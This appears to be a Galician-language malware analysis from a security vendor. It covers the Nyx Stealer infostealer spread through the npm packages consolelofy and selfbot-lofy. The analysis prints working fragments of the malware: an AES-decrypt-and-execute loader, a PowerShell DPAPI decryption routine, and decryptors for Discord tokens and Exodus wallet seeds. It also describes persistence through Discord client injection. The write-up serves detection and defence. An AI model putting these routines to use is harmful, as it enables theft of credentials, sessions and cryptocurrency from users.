TL, RD
O equipo de investigación de seguridade de Xygeni identificou unha sofisticada campaña de roubo de información de npm transmitida a través de dous paquetes maliciosos: consolelofy selfbot-lofy.
A última versión (consolelofy@1.3.0) incorpora unha carga útil cifrada con AES de 216 KB que se descifra en tempo de execución e se executa a través de vm.runInNewContext()Debido a que a lóxica maliciosa está totalmente cifrada, os analizadores estáticos que dependen da inspección de cadeas de caracteres non poden observar o seu comportamento ata o momento da execución.
Unha vez descifrada, a carga útil, con marca interna Ladrón de Nyx, obxectivos:
- Tokens de autenticación de Discord
- Máis de 50 almacéns de credenciais de navegador
- Máis de 90 extensións de carteira de criptomoedas
- Sesións de Roblox, Instagram, Spotify, Steam, Telegram e TikTok
- Persistencia do cliente de escritorio de Discord
Informouse e confirmouse que as 20 versións de ambos paquetes eran maliciosas.
Visión xeral técnica deste Infostealer npm
A diferenza do software malicioso tradicional en tempo de instalación, esta campaña baséase nun tempo de execución modelo de descifrado.
Hai:
- Sen malicioso
preinstallorpostinstallhooks - Sen chamadas de rede obvias en tempo de instalación
- Sen lóxica de recollida de credenciais en texto plano
A carga útil actívase cando se importa o módulo. Todo o corpo malicioso está cifrado e só se materializa na memoria en tempo de execución.
Este deseño evita especificamente a detección durante a instalación do paquete.
Como se executa realmente este Infostealer npm
Antes de analizar o que rouba Nyx Stealer, debemos entender como se executa.
A lóxica maliciosa dentro deste infostealer npm segue un patrón consistente:
Un pequeno cargador descifra unha gran carga cifrada e execútaa dinamicamente dentro dun contexto de máquina virtual Node.js.
Este deseño é deliberado. O atacante non está a ocultar a funcionalidade só detrás da ofuscación, senón que está a... eliminando por completo o código malicioso da visibilidade estática.
Modelo de execución de alto nivel
A un nivel xeral, o envoltorio fai catro cousas:
- Deriva unha clave AES a partir dunha frase de contrasinal codificada mediante SHA-256
- Descifra un texto cifrado codificado en hexadecimal grande usando AES-256-CBC
- Executa o JavaScript descifrado usando
vm.runInNewContext() - Ofrece unha zona de probas que aínda expón primitivas de tempo de execución potentes
Resumo da técnica principal
| Compoñente | Configuración / Valor |
|---|---|
| Algoritmo | AES-256-CBC |
| Derivación clave | SHA-256 (contrasinal) |
| Vector de inicialización (IV) | 16 bytes de 0x00 |
| Execución | vm.runInNewContext(descifrado, zona de probas) |
Fundamentalmente, a zona de probas pasa por:
requireprocessBuffer- temporizadores
- exportacións de módulos
Isto significa que a carga útil descifrada conserva a capacidade total de:
- Procesos de xeración
- Ler e escribir ficheiros
- Facer chamadas de rede
- Modificar aplicacións locais
Esta non é unha máquina virtual restrinxida. É unha máquina virtual que se usa como trampolín de execución.
Patrón de cifrado en tempo de execución (mecanismo de execución central)
O cargador é pequeno.
O corpo malicioso non o é.
A continuación móstrase o patrón de execución que se atopa dentro do paquete:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Porque Isto é importante
A carga útil descifrada:
- Será que non existe en texto plano dentro do paquete npm
- É invisible para os sinxelos
grepou dixitalización estática de cadeas - Só se materializa na memoria en tempo de execución
- Execútase con todas as capacidades de tempo de execución de Node
Esta combinación de execución de AES + VM é un forte indicador de comportamento dun ladrón de información npm intenta evadir unha inspección estática.
Noutras palabras:
Se escaneas a árbore de código fonte do paquete, non verás ningún ladrón.
Ves un descifrador.
Que ocorre despois do descifrado
Unha vez executado, Nyx Stealer lanza ondas paralelas de recollida de datos.
Ola 1: Extracción de credenciais do navegador
O software malicioso:
- Descarga un tempo de execución de Python desde a CDN de NuGet
- Instala bibliotecas criptográficas
- Extrae almacéns de credenciais baseados en Chromium
- Descifra os segredos protexidos por DPAPI
En lugar de compilar ligazóns nativas, aproveita PowerShell para chamar directamente a DPAPI de Windows.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Esta estratexia:
- Evita artefactos de compilación
- Usa API de criptografía nativas de Windows
- Integrase nas ferramentas administrativas
É un descifrado de credenciais a nivel de sistema operativo, non unha extracción por raspado.
Ola 2: Descifrado de tokens de Discord
O ladrón coñece o protocolo. Entende o formato de token cifrado de Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Fluxo operativo:
- Extraer a chave mestra de Discord
Local State - Descifrar a clave mestra mediante DPAPI
- Descifrar blobs de tokens AES-GCM
- Validar tokens coa API de Discord
- Enriquecer con Nitro, insignias e información de facturación
Isto non é un vertido de credenciais xenérico. É un secuestro de sesión con protocolo consciente.
Ola 3: Segmentación de carteiras de criptomoedas
O infostealer de npm enumera:
- Máis de 90 extensións de carteira de navegador
- 27 carteiras de escritorio
- Camiños de carteira fría
- Ficheiros de sementes de Exodus
Exemplo de intento de descifrado de sementes:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Se ten éxito, o compromiso da carteira é inmediato e irreversible.
Isto representa o vector de monetización de maior valor da campaña.
Persistencia mediante a inxección de escritorio de Discord
Despois de recoller credenciais, Nyx Stealer intenta a persistencia modificando o ficheiro local Discordia cliente.
Obxectivo:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Secuencia Operativa
O infostealer realiza os seguintes pasos:
- Remata os procesos de Discord en execución
- Localiza variantes de Discord instaladas (Stable, Canary, PTB)
- Sobrescribe
discord_desktop_core/index.js - Inxecta lóxica de webhook controlada polo atacante
- Reinicia Discord
Isto garante que as futuras sesións de Discord filtren automaticamente tokens de autenticación novos.
É importante destacar que esta persistencia non depende de tarefas programadas nin de modificacións do rexistro. Aproveita a modificación de código a nivel de aplicación, unha estratexia máis discreta.
Mesmo se o paquete npm malicioso se elimina máis tarde, o cliente Discord segue sendo comprometido.
Comparación técnica: Selfbot lexítimo vs Infostealer npm
| Compoñente | Biblioteca lexítima | Ladrón de información de Nyx npm |
|---|---|---|
| Criptografía | ningún | Carga útil cifrada con AES completo |
| Máquina virtual en tempo de execución | Non se precisa | vm.runInNewContext execución |
| Acceso ás credenciais | Só na API de Discord | Navegador, carteiras, DPAPI |
| Descargas externas | Non | Tempo de execución de Python a través de NuGet |
| Persistencia | Non | Inxección de cliente de Discord |
| monetización | Automatización de bots | Reventa de credenciais |
A capa de cifrado por si soa xa separa esta campaña dunha bifurcación típica de código aberto.
Un selfbot lexítimo de Discord non ten razón para cifrar toda a súa base de código, xerar PowerShell para acceder a DPAPI, descargar tempos de execución externos ou modificar os compoñentes internos das aplicacións de escritorio. Cando esas capacidades aparecen dentro dunha dependencia que afirma automatizar as interaccións de Discord, a discrepancia arquitectónica tórnase imposible de ignorar.
Desde o punto de vista dunha investigación, este roubador de información npm deixa rastros en múltiples capas. Non obstante, os indicadores máis fiables non son URL codificadas ou rutas de ficheiros específicas, xa que estas poden cambiar entre versións. En cambio, os sinais duradeiros son estruturais.
A nivel de paquete, o sinal de alerta máis forte é a combinación dunha gran carga útil cifrada e un envoltorio de descifrado en tempo de execución que se executa inmediatamente a través de vm.runInNewContext()Aínda que o cifrado por si só non é inherentemente malicioso, o uso do descifrado AES seguido da execución dinámica dunha máquina virtual dentro dun paquete de utilidades Discord é moi anómalo.
A nivel de host, os patróns sospeitosos inclúen actividade de descifrado DPAPI inesperada, procesos que xurden dun contexto de dependencia de Node.js e modificación de ficheiros de aplicacións locais que nunca deberían ser alterados por bibliotecas de terceiros. Do mesmo xeito, na capa de rede, a comunicación de saída ao estilo webhook iniciada por unha dependencia de desenvolvemento representa outra anomalía significativa.
Noutras palabras, a superficie de detección non é un único indicador de compromiso. É a correlación entre o cifrado, a execución en tempo de execución, o acceso ás credenciais e o comportamento de persistencia o que revela a ameaza.
Detección e mitigación con Xygeni
Este ladrón de información de npm foi identificado por Alerta temperá de software malicioso (MEW) de Xygeni mediante unha correlación comportamental por capas en lugar dunha simple correspondencia de sinaturas.
En lugar de buscar cadeas maliciosas coñecidas, MEW avalía anomalías estruturais en toda a árbore de código fonte. Neste caso, a detección xurdiu da converxencia de varios sinais: unha rutina de descifrado AES integrada no punto de entrada do módulo, execución inmediata dentro dun contexto de máquina virtual e unha clara discrepancia entre capacidade e intención.
É importante destacar que ningún destes sinais por si só demostra unha intención maliciosa. Non obstante, cando se analizan conxuntamente, expoñen un intento de ocultar o comportamento en tempo de execución. Esta abordaxe por capas reduce significativamente os falsos positivos ao tempo que identifica ameazas de alta fiabilidade na cadea de subministración.
Ademais, este caso ilustra por que a inspección en tempo de instalación por si soa non é suficiente. A lóxica maliciosa non reside nos scripts do ciclo de vida. Actívase só despois de que se carga o módulo e só se fai visible unha vez descifrado na memoria. Polo tanto, unha defensa eficaz require unha análise con capacidade de cifrado, recoñecemento de patróns de comportamento e monitorización continua das dependencias máis alá dos eventos de instalación.
A eliminación do rexistro é reactiva. A análise en tempo de execución é preventiva.
Por que é importante este ladrón de información de npm
Nyx Stealer representa unha evolución estrutural no malware baseado en npm.
Historicamente, moitos paquetes maliciosos dependían de scripts visibles en tempo de instalación ou de puntos finais de exfiltración de credenciais obvios. Pola contra, esta campaña cifra a súa carga útil, adia a execución ao tempo de execución, aproveita as API lexítimas do sistema operativo e establece persistencia dentro das aplicacións de confianza.
En consecuencia, o atacante non precisa explotar a propia infraestrutura npm. En cambio, o ataque ten éxito porque a instalación de dependencias implica confianza. Os desenvolvedores asumen que importar unha biblioteca é unha operación segura, especialmente cando se presenta como unha bifurcación plausible dunha ferramenta popular.
A medida que os ecosistemas continúan a medrar e as bifurcacións proliferan, ese límite de confianza implícito convértese nunha superficie de ataque cada vez máis atractiva. Polo tanto, defenderse contra os modernos ladróns de información de NPM require recoñecer patróns arquitectónicos en lugar de buscar cadeas estáticas.
En definitiva, esta campaña reforza unha lección fundamental sobre software supply chain security: as ameazas máis perigosas non son as que parecen maliciosas a primeira vista, senón as que semellan estruturalmente lexítimas ata que o tempo de execución revela o seu verdadeiro comportamento.




